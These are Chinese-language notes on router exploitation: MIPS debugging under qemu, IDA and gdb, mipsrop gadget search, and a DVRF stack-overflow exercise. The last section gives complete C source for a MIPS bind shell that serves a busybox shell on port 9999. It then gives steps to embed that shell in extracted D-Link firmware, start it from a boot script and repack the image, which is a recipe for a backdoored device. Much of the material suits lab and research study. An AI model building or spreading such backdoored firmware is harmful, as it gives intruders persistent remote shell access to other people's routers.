路由器漏洞调试的一些技巧
mips 指令集特性
1 没有push pop指令
2 所有指令都是32位,4字节对齐
mips 动态调试
1 IDA
./qemu-mipsel -g 23946 ./xxx
IDA 上选择Remote GDB debuffer
2 gdb-multiarch
qemu-mipsel -L . -g 23946 ./xxx
注意要切换到路由器文件系统根目录
gdb-multiarch ./xxx
set architecture mips
target remote 127.0.0.1:23946
叶子函数和非叶子函数的概念
1 如果一个函数不调用其他函数(库函数也算在内),这个函数就是叶子函数
2 区分叶子函数的概念是因为在mips中,叶子函数的返回地址在ra寄存器中,非叶子函数的返回地址存放在栈上 ,在函数开头有如下操作: sw $ra,xxx
IDA 插件 mipsrop 用法
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系 mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配
mipsrop for ida 7
a = MIPSROPFinder().stackfinder()
qemu-user 使用的两种方法
1 需要静态编译且符合目标位数
复制qemu程序到当前目录
sudo chroot . ./qemu-mipsel-static ./xxx arg
2 没有特殊要求
qemu-mipsel -L . ./xxx arg
mips 基本栈溢出
1 DVRF stack_bof_01
确定偏移 204
确定shell函数地址
1 由于shell函数开头有一些对gp寄存器的引用,直接跳过开头几个指令的地址即可
2 或者利用rop利用t9 寄存器跳过去
1 寻找lw $t9
2 payload = padding + gadget_lw_t9 + shell_func
qemu 指定架构编译
make clean
./configure --target-list=arm-softmmu,mips-softmmu,mipsel-softmmu,arm-linux-user,mips-linux-user,mipsel-linux-user --static
make -j2
sudo make install
2.4 比较稳定,刚开始用apt安装的版本,能跑程序,但是gdb附加上去就出问题
利用FMK修改固件
1 提取文件系统
./extract-firmware.sh Dlink_firmware.bin
2 查看固件程序的架构,大小端,位数。编译后门
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running
busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -
march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client,
&len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
3 找到启动过程中自动执行的脚本,讲后门放到文件系统中,修改脚本
4 ./build-firmware-sh Dlink_firmware/ -nopad -min